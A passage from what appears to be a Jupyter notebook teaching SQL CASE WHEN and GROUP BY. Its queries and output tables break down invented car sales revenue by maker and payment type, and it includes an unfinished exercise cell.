" <td> 19581</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> 20363</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 20437</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 19183</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " car_maker payment_type avg_revenue\n", "0 Honda cash 17028\n", "1 Honda finance 19030\n", "2 Subaru cash 19581\n", "3 Subaru finance 20363\n", "4 Toyota cash 20437\n", "5 Toyota finance 19183" ] }, "execution_count": 76, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.Make as car_maker, \n", " payment_type,\n", " ROUND(AVG(S.revenue)) as avg_revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " GROUP BY\n", " C.Make, \n", " payment_type\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Look at what's going on in that query without the AVG( ) function and the GROUP BY clause:" ] }, { "cell_type": "code", "execution_count": 77, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Maker</th>\n", " <th>payment_type</th>\n", " <th>revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0 </th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 21222</td>\n", " </tr>\n", " <tr>\n", " <th>1 </th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>2 </th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 14720</td>\n", " </tr>\n", " <tr>\n", " <th>3 </th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> 19010</td>\n", " </tr>\n", " <tr>\n", " <th>4 </th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 22022</td>\n", " </tr>\n", " <tr>\n", " <th>5 </th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 21409</td>\n", " </tr>\n", " <tr>\n", " <th>6 </th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> 19894</td>\n", " </tr>\n", " <tr>\n", " <th>7 </th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 12960</td>\n", " </tr>\n", " <tr>\n", " <th>8 </th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 25938</td>\n", " </tr>\n", " <tr>\n", " <th>9 </th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 19844</td>\n", " </tr>\n", " <tr>\n", " <th>10</th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> 21441</td>\n", " </tr>\n", " <tr>\n", " <th>11</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 17462</td>\n", " </tr>\n", " <tr>\n", " <th>12</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 17020</td>\n", " </tr>\n", " <tr>\n", " <th>13</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 18040</td>\n", " </tr>\n", " <tr>\n", " <th>14</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> 18671</td>\n", " </tr>\n", " <tr>\n", " <th>15</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 22506</td>\n", " </tr>\n", " <tr>\n", " <th>16</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 20460</td>\n", " </tr>\n", " <tr>\n", " <th>17</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 13440</td>\n", " </tr>\n", " <tr>\n", " <th>18</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 18634</td>\n", " </tr>\n", " <tr>\n", " <th>19</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 17312</td>\n", " </tr>\n", " <tr>\n", " <th>20</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 23318</td>\n", " </tr>\n", " <tr>\n", " <th>21</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 21780</td>\n", " </tr>\n", " <tr>\n", " <th>22</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 19418</td>\n", " </tr>\n", " <tr>\n", " <th>23</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 17756</td>\n", " </tr>\n", " <tr>\n", " <th>24</th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> 21441</td>\n", " </tr>\n", " <tr>\n", " <th>25</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 17905</td>\n", " </tr>\n", " <tr>\n", " <th>26</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 16720</td>\n", " </tr>\n", " <tr>\n", " <th>27</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 20778</td>\n", " </tr>\n", " <tr>\n", " <th>28</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 19667</td>\n", " </tr>\n", " <tr>\n", " <th>29</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 19360</td>\n", " </tr>\n", " <tr>\n", " <th>...</th>\n", " <td>...</td>\n", " <td>...</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>70</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 20174</td>\n", " </tr>\n", " <tr>\n", " <th>71</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 18480</td>\n", " </tr>\n", " <tr>\n", " <th>72</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 23474</td>\n", " </tr>\n", " <tr>\n", " <th>73</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 19231</td>\n", " </tr>\n", " <tr>\n", " <th>74</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 18865</td>\n", " </tr>\n", " <tr>\n", " <th>75</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 24104</td>\n", " </tr>\n", " <tr>\n", " <th>76</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 20436</td>\n", " </tr>\n", " <tr>\n", " <th>77</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 22990</td>\n", " </tr>\n", " <tr>\n", " <th>78</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 19580</td>\n", " </tr>\n", " <tr>\n", " <th>79</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> 17756</td>\n", " </tr>\n", " <tr>\n", " <th>80</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 18920</td>\n", " </tr>\n", " <tr>\n", " <th>81</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> 24646</td>\n", " </tr>\n", " <tr>\n", " <th>82</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 14006</td>\n", " </tr>\n", " <tr>\n", " <th>83</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 24890</td>\n", " </tr>\n", " <tr>\n", " <th>84</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> 23401</td>\n", " </tr>\n", " <tr>\n", " <th>85</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 20328</td>\n", " </tr>\n", " <tr>\n", " <th>86</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 15200</td>\n", " </tr>\n", " <tr>\n", " <th>87</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 16189</td>\n", " </tr>\n", " <tr>\n", " <th>88</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 15040</td>\n", " </tr>\n", " <tr>\n", " <th>89</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> 20197</td>\n", " </tr>\n", " <tr>\n", " <th>90</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 23232</td>\n", " </tr>\n", " <tr>\n", " <th>91</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 16734</td>\n", " </tr>\n", " <tr>\n", " <th>92</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 20960</td>\n", " </tr>\n", " <tr>\n", " <th>93</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 24148</td>\n", " </tr>\n", " <tr>\n", " <th>94</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>95</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> 21751</td>\n", " </tr>\n", " <tr>\n", " <th>96</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 20413</td>\n", " </tr>\n", " <tr>\n", " <th>97</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 20328</td>\n", " </tr>\n", " <tr>\n", " <th>98</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> 17600</td>\n", " </tr>\n", " <tr>\n", " <th>99</th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> 19894</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>100 rows × 3 columns</p>\n", "</div>" ], "text/plain": [ " Car_Maker payment_type revenue\n", "0 Toyota finance 21222\n", "1 Toyota finance 19140\n", "2 Toyota cash 14720\n", "3 Honda finance 19010\n", "4 Toyota finance 22022\n", "5 Subaru cash 21409\n", "6 Honda finance 19894\n", "7 Toyota finance 12960\n", "8 Toyota cash 25938\n", "9 Toyota finance 19844\n", "10 Honda finance 21441\n", "11 Honda cash 17462\n", "12 Honda cash 17020\n", "13 Toyota finance 18040\n", "14 Subaru finance 18671\n", "15 Toyota finance 22506\n", "16 Toyota finance 20460\n", "17 Toyota finance 13440\n", "18 Toyota finance 18634\n", "19 Subaru cash 17312\n", "20 Toyota cash 23318\n", "21 Toyota cash 21780\n", "22 Subaru cash 19418\n", "23 Subaru cash 17756\n", "24 Honda finance 21441\n", "25 Honda cash 17905\n", "26 Toyota finance 16720\n", "27 Honda cash 20778\n", "28 Subaru cash 19667\n", "29 Toyota finance 19360\n", ".. ... ... ...\n", "70 Toyota finance 20174\n", "71 Toyota cash 18480\n", "72 Toyota cash 23474\n", "73 Honda cash 19231\n", "74 Subaru cash 18865\n", "75 Toyota cash 24104\n", "76 Toyota finance 20436\n", "77 Toyota cash 22990\n", "78 Toyota cash 19580\n", "79 Subaru finance 17756\n", "80 Subaru cash 18920\n", "81 Subaru finance 24646\n", "82 Honda cash 14006\n", "83 Toyota finance 24890\n", "84 Subaru finance 23401\n", "85 Toyota finance 20328\n", "86 Toyota cash 15200\n", "87 Honda cash 16189\n", "88 Toyota cash 15040\n", "89 Subaru finance 20197\n", "90 Toyota finance 23232\n", "91 Honda cash 16734\n", "92 Toyota cash 20960\n", "93 Subaru cash 24148\n", "94 Toyota cash 19140\n", "95 Subaru finance 21751\n", "96 Subaru cash 20413\n", "97 Toyota finance 20328\n", "98 Toyota finance 17600\n", "99 Honda finance 19894\n", "\n", "[100 rows x 3 columns]" ] }, "execution_count": 77, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.Make as Car_Maker, \n", " payment_type,\n", " S.revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The result-set above is essentially what SQL is working with right before it separates the rows into groups and averages the revenue within those groups. \n", "\n", "Now, we're going to use some CASE WHEN statements to change this a little:" ] }, { "cell_type": "code", "execution_count": 78, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Maker</th>\n", " <th>payment_type</th>\n", " <th>Cash_Revenue</th>\n", " <th>Finance_Revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0 </th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 21222</td>\n", " </tr>\n", " <tr>\n", " <th>1 </th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>2 </th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 14720</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>3 </th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 19010</td>\n", " </tr>\n", " <tr>\n", " <th>4 </th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 22022</td>\n", " </tr>\n", " <tr>\n", " <th>5 </th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 21409</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>6 </th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 19894</td>\n", " </tr>\n", " <tr>\n", " <th>7 </th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 12960</td>\n", " </tr>\n", " <tr>\n", " <th>8 </th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 25938</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>9 </th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 19844</td>\n", " </tr>\n", " <tr>\n", " <th>10</th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 21441</td>\n", " </tr>\n", " <tr>\n", " <th>11</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 17462</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>12</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 17020</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>13</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 18040</td>\n", " </tr>\n", " <tr>\n", " <th>14</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 18671</td>\n", " </tr>\n", " <tr>\n", " <th>15</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 22506</td>\n", " </tr>\n", " <tr>\n", " <th>16</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 20460</td>\n", " </tr>\n", " <tr>\n", " <th>17</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 13440</td>\n", " </tr>\n", " <tr>\n", " <th>18</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 18634</td>\n", " </tr>\n", " <tr>\n", " <th>19</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 17312</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>20</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 23318</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>21</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 21780</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>22</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 19418</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>23</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 17756</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>24</th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 21441</td>\n", " </tr>\n", " <tr>\n", " <th>25</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 17905</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>26</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 16720</td>\n", " </tr>\n", " <tr>\n", " <th>27</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 20778</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>28</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 19667</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>29</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 19360</td>\n", " </tr>\n", " <tr>\n", " <th>...</th>\n", " <td>...</td>\n", " <td>...</td>\n", " <td>...</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>70</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 20174</td>\n", " </tr>\n", " <tr>\n", " <th>71</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 18480</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>72</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 23474</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>73</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 19231</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>74</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 18865</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>75</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 24104</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>76</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 20436</td>\n", " </tr>\n", " <tr>\n", " <th>77</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 22990</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>78</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 19580</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>79</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 17756</td>\n", " </tr>\n", " <tr>\n", " <th>80</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 18920</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>81</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 24646</td>\n", " </tr>\n", " <tr>\n", " <th>82</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 14006</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>83</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 24890</td>\n", " </tr>\n", " <tr>\n", " <th>84</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 23401</td>\n", " </tr>\n", " <tr>\n", " <th>85</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 20328</td>\n", " </tr>\n", " <tr>\n", " <th>86</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 15200</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>87</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 16189</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>88</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 15040</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>89</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 20197</td>\n", " </tr>\n", " <tr>\n", " <th>90</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 23232</td>\n", " </tr>\n", " <tr>\n", " <th>91</th>\n", " <td> Honda</td>\n", " <td> cash</td>\n", " <td> 16734</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>92</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 20960</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>93</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 24148</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>94</th>\n", " <td> Toyota</td>\n", " <td> cash</td>\n", " <td> 19140</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>95</th>\n", " <td> Subaru</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 21751</td>\n", " </tr>\n", " <tr>\n", " <th>96</th>\n", " <td> Subaru</td>\n", " <td> cash</td>\n", " <td> 20413</td>\n", " <td> </td>\n", " </tr>\n", " <tr>\n", " <th>97</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 20328</td>\n", " </tr>\n", " <tr>\n", " <th>98</th>\n", " <td> Toyota</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 17600</td>\n", " </tr>\n", " <tr>\n", " <th>99</th>\n", " <td> Honda</td>\n", " <td> finance</td>\n", " <td> </td>\n", " <td> 19894</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>100 rows × 4 columns</p>\n", "</div>" ], "text/plain": [ " Car_Maker payment_type Cash_Revenue Finance_Revenue\n", "0 Toyota finance 21222\n", "1 Toyota finance 19140\n", "2 Toyota cash 14720 \n", "3 Honda finance 19010\n", "4 Toyota finance 22022\n", "5 Subaru cash 21409 \n", "6 Honda finance 19894\n", "7 Toyota finance 12960\n", "8 Toyota cash 25938 \n", "9 Toyota finance 19844\n", "10 Honda finance 21441\n", "11 Honda cash 17462 \n", "12 Honda cash 17020 \n", "13 Toyota finance 18040\n", "14 Subaru finance 18671\n", "15 Toyota finance 22506\n", "16 Toyota finance 20460\n", "17 Toyota finance 13440\n", "18 Toyota finance 18634\n", "19 Subaru cash 17312 \n", "20 Toyota cash 23318 \n", "21 Toyota cash 21780 \n", "22 Subaru cash 19418 \n", "23 Subaru cash 17756 \n", "24 Honda finance 21441\n", "25 Honda cash 17905 \n", "26 Toyota finance 16720\n", "27 Honda cash 20778 \n", "28 Subaru cash 19667 \n", "29 Toyota finance 19360\n", ".. ... ... ... ...\n", "70 Toyota finance 20174\n", "71 Toyota cash 18480 \n", "72 Toyota cash 23474 \n", "73 Honda cash 19231 \n", "74 Subaru cash 18865 \n", "75 Toyota cash 24104 \n", "76 Toyota finance 20436\n", "77 Toyota cash 22990 \n", "78 Toyota cash 19580 \n", "79 Subaru finance 17756\n", "80 Subaru cash 18920 \n", "81 Subaru finance 24646\n", "82 Honda cash 14006 \n", "83 Toyota finance 24890\n", "84 Subaru finance 23401\n", "85 Toyota finance 20328\n", "86 Toyota cash 15200 \n", "87 Honda cash 16189 \n", "88 Toyota cash 15040 \n", "89 Subaru finance 20197\n", "90 Toyota finance 23232\n", "91 Honda cash 16734 \n", "92 Toyota cash 20960 \n", "93 Subaru cash 24148 \n", "94 Toyota cash 19140 \n", "95 Subaru finance 21751\n", "96 Subaru cash 20413 \n", "97 Toyota finance 20328\n", "98 Toyota finance 17600\n", "99 Honda finance 19894\n", "\n", "[100 rows x 4 columns]" ] }, "execution_count": 78, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.Make as Car_Maker, \n", " payment_type,\n", " CASE WHEN payment_type = 'cash' THEN S.revenue END Cash_Revenue,\n", " CASE WHEN payment_type = 'finance' THEN S.revenue END Finance_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now let's add back the ROUND() and AVG() functions and the GROUP BY statement:" ] }, { "cell_type": "code", "execution_count": 79, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Maker</th>\n", " <th>Avg_Cash_Revenue</th>\n", " <th>Avg_Finance_Revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Honda</td>\n", " <td> 17028</td>\n", " <td> 19030</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Subaru</td>\n", " <td> 19581</td>\n", " <td> 20363</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Toyota</td>\n", " <td> 20437</td>\n", " <td> 19183</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Maker Avg_Cash_Revenue Avg_Finance_Revenue\n", "0 Honda 17028 19030\n", "1 Subaru 19581 20363\n", "2 Toyota 20437 19183" ] }, "execution_count": 79, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.Make as Car_Maker, \n", " ROUND(AVG(CASE WHEN payment_type = 'cash' THEN S.revenue END)) AS Avg_Cash_Revenue,\n", " ROUND(AVG(CASE WHEN payment_type = 'finance' THEN S.revenue END)) AS Avg_Finance_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " GROUP BY\n", " C.Make\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "CASE WHEN makes this same information a lot easier to read by letting you pivot the result set a little.\n", "\n", "**Write a query using CASE WHEN to look at total revenue per gender, grouped by each car model**" ] }, { "cell_type": "code", "execution_count": 80, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 80, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(case_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "CASE WHEN also lets you create new groups. Start by looking at the cust_table grouped by age - remember that COUNT(***) tells you how many rows are in each group (which is the same as telling you the number of customers in each group):" ] }, { "cell_type": "code", "execution_count": 81, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>age</th>\n", " <th>customers</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0 </th>\n", " <td> 18</td>\n", " <td> 4</td>\n", " </tr>\n", " <tr>\n", " <th>1 </th>\n", " <td> 19</td>\n", " <td> 2</td>\n", " </tr>\n", " <tr>\n", " <th>2 </th>\n", " <td> 20</td>\n", " <td> 2</td>\n", " </tr>\n", " <tr>\n", " <th>3 </th>\n", " <td> 21</td>\n", " <td> 2</td>\n", " </tr>\n", " <tr>\n", " <th>4 </th>\n", " <td> 22</td>\n", " <td> 2</td>\n", " </tr>\n", " <tr>\n", " <th>5 </th>\n", " <td> 23</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>6 </th>\n", " <td> 24</td>\n", " <td> 3</td>\n", " </tr>\n", " <tr>\n", " <th>7 </th>\n", " <td> 25</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>8 </th>\n", " <td> 26</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>9 </th>\n", " <td> 27</td>\n", " <td> 3</td>\n", " </tr>\n", " <tr>\n", " <th>10</th>\n", " <td> 28</td>\n", " <td> 3</td>\n", " </tr>\n", " <tr>\n", " <th>11</th>\n", " <td> 29</td>\n", " <td> 4</td>\n", " </tr>\n", " <tr>\n", " <th>12</th>\n", " <td> 30</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>13</th>\n", " <td> 31</td>\n", " <td> 5</td>\n", " </tr>\n", " <tr>\n", " <th>14</th>\n", " <td> 32</td>\n", " <td> 3</td>\n", " </tr>\n", " <tr>\n", " <th>15</th>\n", " <td> 33</td>\n", " <td> 6</td>\n", " </tr>\n", " <tr>\n", " <th>16</th>\n", " <td> 34</td>\n", " <td> 2</td>\n", " </tr>\n", " <tr>\n", " <th>17</th>\n", " <td> 36</td>\n", " <td> 3</td>\n", " </tr>\n", " <tr>\n", " <th>18</th>\n", " <td> 38</td>\n", " <td> 4</td>\n", " </tr>\n", " <tr>\n", " <th>19</th>\n", " <td> 39</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>20</th>\n", " <td> 40</td>\n", " <td> 3</td>\n", " </tr>\n", " <tr>\n", " <th>21</th>\n", " <td> 41</td>\n", " <td> 4</td>\n", " </tr>\n", " <tr>\n", " <th>22</th>\n", " <td> 42</td>\n", " <td> 5</td>\n", " </tr>\n", " <tr>\n", " <th>23</th>\n", " <td> 43</td>\n", " <td> 2</td>\n", " </tr>\n", " <tr>\n", " 